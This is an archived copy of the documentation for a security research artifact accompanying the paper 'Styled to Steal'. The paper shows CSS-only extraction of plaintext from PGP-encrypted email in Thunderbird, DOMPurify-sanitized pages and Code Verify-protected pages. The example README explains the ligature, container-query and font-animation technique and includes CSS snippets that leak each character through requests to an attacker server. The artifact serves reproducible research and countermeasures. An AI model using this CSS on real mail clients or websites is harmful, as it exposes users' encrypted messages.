

Artifact

Artifact - cispa, GitHub.

- Published: date not stated
- Original: <<https://github.com/cispa/stylemail>>
- Preserved from: <https://github.com/cispa/stylemail> (git) on 2026-08-11
- Repository commit: 66fa2caee4a81d6132d4b268d6618160f3780489
- Licence: see the repository

Rights remain with the original author and publisher. This is a research archive of a source from the Web Hacking Techniques Index collections, kept so the page going offline. To read the original, follow the link above.

Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

This reference is a source-code repository. The archive preserves its documentation at an exact commit; the code itself stays in a private mirror and is never checked out, built or run.

- Repository: <<https://github.com/cispa/stylemail>>
- Commit: 66fa2caee4a81d6132d4b268d6618160f3780489
- Documents preserved: 3

README.md

Blob 91e5f330e6a5, 6445 bytes, at commit 66fa2caee4a8.

Artifact - Styled to Steal: The Overlooked Attack Surface in Email Clients

This repository contains the artifact for the paper "Styled to Steal: The Overlooked Attack Surface in Email Clients" published at ACM CCS 2025.

Abstract

This artifact accompanies "Styled to Steal: The Overlooked Attack Surface in Email Clients" and provides a collection of proof-of-concept implementations demonstrating CSS-based plaintext extraction attacks against encrypted email systems. The artifact contains minimal examples illustrating the core attack technique using container queries, lazy-loaded web-fonts, and contextual font ligatures to map plaintext characters to unique network requests. We include complete case studies targeting Mozilla Thunderbird, DOMPurify sanitization, and Meta's Code

Verify system, demonstrating successful plaintext exfiltration from PGP-encrypted emails without JavaScript execution. The artifact provides an evaluation framework for assessing HTML sanitizer libraries and PGP email clients against these scriptless attacks. Through reproducible examples, we show how three benign CSS features can be combined to achieve complete plaintext recovery in a single rendering pass, bypassing state-of-the-art content sanitization mechanisms across multiple browser engines. The provided implementations enable researchers to verify our findings, test additional email clients and sanitization systems, and develop improved countermeasures against CSS-based exfiltration techniques. This artifact demonstrates that existing content isolation mechanisms in email client software are insufficient to prevent encrypted content leakage through CSS-only attack vectors.

Structure

The repository is structured into four different directories, each containing a specific part of the artifact:

- `example` : A minimal example demonstrating the core attack technique.
- `casestudies` : Complete case studies targeting Thunderbird, DOMPurify and Code

Verify.

- `misc` : Additional materials, including minimal reproducers and DOMs from

vulnerable email clients.

- `study` : Evaluation framework for assessing HTML sanitizer libraries and PGP email clients.

More details about the individual directories can be found in their respective `README.md` files.

Software Dependencies

Our artifact requires some recent versions of Python, Node.js, and Docker installations. We have tested the artifact with the following versions:

- Python 3.12.3
- Node.js 23.7.0
- Docker 28.3.3

Additionally, for the Thunderbird experiments, you need:

- Mozilla Thunderbird Version 115.7 (available at:
<https://archive.mozilla.org/pub/thunderbird/releases/115.7.0/>)

Set Up

1. Install Python, Node.js and Docker on your system
2. Clone the artifact repository from GitHub and navigate to the root directory of the cloned repository

Thunderbird Installation & Configuration

1. Install Mozilla Thunderbird Version 115.7 from:
<https://archive.mozilla.org/pub/thunderbird/releases/115.7.0/>
 - Choose the appropriate version for your operating system and locale
2. On first launch, configure the following settings:
 - Turn off automatic updates: Settings > General > Updates: "Check for updates, but let me choose whether to install them"
 - Set up any email account in Thunderbird first
 - Import the private key: Settings > Account Settings > End-To-End Encryption > OpenPGP
 - The key can be found in the `casestudies/email/` directory
 - Enable remote content: Settings > Privacy & Security > Mail Content: "Allow remote content in messages"

Code Verify Extension Installation

1. For Code Verify experiments, install the modified Code Verify extension:
 - Enable developer mode in your Chromium-based browser
 - Load the unpacked extension from the `casestudies/accountable/chrome-extension/` directory

Quick Start & Basic Tests

Before running experiments, verify your setup:

Thunderbird Test

Open `casestudies/email/test.eml` in Mozilla Thunderbird. You should be able to decrypt the email and read its contents.

Code Verify Test

Open the developer tools while visiting `https://websec.work/noattack.html` in your Chromium-based browser and click on the icon of Meta's Code Verify extension in the toolbar. The extension should show a green checkmark, indicating that the page is verified.

Experiments

E1: Thunderbird Proof-of-Concepts (20 person-minutes)

Claims: CSS-based attack can extract text from HTML documents. In Mozilla Thunderbird, we can extract PGP-encrypted plaintext from emails with keyword detection, 4-digit PIN recovery, and full-text extraction.

Preparation: Install Mozilla Thunderbird Version 115.7 and import Alice's PGP key as described in `casestudies/email/README.md` .

Execution: Run the three proof-of-concepts in the `casestudies/email/` directory:

- Keyword detection (`keywords/`)
- PIN recovery (`pin/`)
- Full-text extraction (`chain/`)

Expected Results: Remote connections to local server showing character-by-character plaintext extraction.

E2: Sanitizer Evaluation (10 person-minutes)

Claims: Default configurations of DOMPurify and Firefox's HTML Sanitizer API do not prevent our CSS-based attack.

Preparation & Execution: Follow steps in `study/sanitizer/README.md` .

Expected Results: Only DOMPurify allows CSS injections via link tags in its default configuration.

E3: DOMPurify Proof-of-Concept (10 person-minutes)

Claims: CSS-based attack works against DOMPurify's default configuration.

Execution: Run the server in `casestudies/web/` and visit `http://localhost:3000` .

Expected Results: Character-by-character extraction from HTML document, similar to Thunderbird attack.

E4: Code Verify Proof-of-Concept (5 person-minutes)

Claims: Meta's Code Verify extension only signs JavaScript, not stylesheets, allowing CSS-based attacks to bypass verification.

Preparation: Install the modified Code Verify extension from `casestudies/accountable/chrome-extension/` .

Execution: Visit `https://websec.work/attack.html` with the extension installed.

Expected Results: Remote connection leaking PIN (5606) while Code Verify shows green checkmark (verified).

Detailed Instructions

For detailed reproduction steps, see the respective README files:

- `casestudies/README.md` - Complete case studies
- `study/README.md` - HTML sanitizer evaluation framework

`example/README.md`

Blob `e12407da6f47` , 3469 bytes, at commit `66fa2caee4a8` .

Attack Techniques Example

Overview

In a nutshell, we recover the text (e.g., email) content of HTML elements using a combination of width measurement and repeated text rendering with specifically crafted ligatures in custom fonts.

We first create font ligatures that uniquely change the dimensions of the rendered text based on its first unknown character. As such, the width of the text directly encodes the first unknown character of the text element. An attacker can measure these dimensions for a single ligature, which is then used to load a unique resource from the attacker's server. The attacker thereby learns the respective character (or even several characters) that are represented by the ligature. Such leakage can be repeated arbitrarily often using the lazy loading of fonts combined with CSS animations to recover larger contents fully deterministically. In particular, the lazy-loading of our custom fonts via the animations allows incrementally constructing a known prefix where leverage the known prefix to target the next unknown character.

Example

In this example, the attacker aims to recover the secret text `10` from the DOM of the target page. The charset is restricted to the digits `0` and `1`.

Step 1: Ligature to Width Mapping

The attacker creates a custom font that contains ligatures for the characters `0` and `1`. The ligature for `0` is designed to have a width of `0.3px`, while the ligature for `1` has a width of `0.6px`. The ligatures are generated in `server.py` dynamically based on the prefix of known characters.

Step 2: Measuring the Width

The attacker controls some CSS on the target page. Here, they apply the custom font to the target element containing the secret text. Then the CSS measures the width of the element using CSS container queries. Based on the width, the attacker issues a request to their server to load a resource that corresponds to the target character. The width measurements are generated in `generate_css.py`. The output is `attack.css`.

```

/* 0 */
@container (width > 0px) {
  * {
    background-image: url("/measure/0?it=0");
  }
}

/* 1 */
@container (0.4px < width) and (width < 0.8px) {
  * {
    background-image: url("/measure/1?it=0");
  }
}

```

In this example, the attacker observes the request for `/measure/1?it=0`, which indicates that the first character is `1`. The attacker can then incorporate this information into building the font ligatures for the next iteration.

Step 3: Incremental Recovery

Steps 1 and 2 can be repeated to recover the known prefix character-by-character. This is done using an animation that triggers the loading of a different custom font for each character. This then loads a new font from the server, and issues a new width measurement on the target element.

In this example, the animation only has two steps.

```

#secret {
  animation: CustomAnimation 1s;
  animation-delay: 2s;
}

@keyframes CustomAnimation {
  0.0% {
    font-family: "CustomFont0";
  }

  50.0% {
    font-family: "CustomFont1";
  }
}

```

Running the Example

The example can be run using the following instructions.

```
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt

python3 server.py
```

Then, open the browser and navigate to `http://localhost:3000/`. The example will load the attack CSS and start the attack. The secret text will be recovered and displayed in the terminal output of the server.

example/requirements.txt

Blob `d6dd92b664d8`, 145 bytes, at commit `66fa2caee4a8`.

blinker==1.7.0 click==8.1.7 Flask==3.0.2 Flask-Cors==4.0.0 fonttools==4.49.0 itsdangerous==2.1.2
Jinja2==3.1.3 MarkupSafe==2.1.5 Werkzeug==3.0.1

Archived from <https://github.com/cispa/stylemail>. Rendered offline from the local Markdown copy.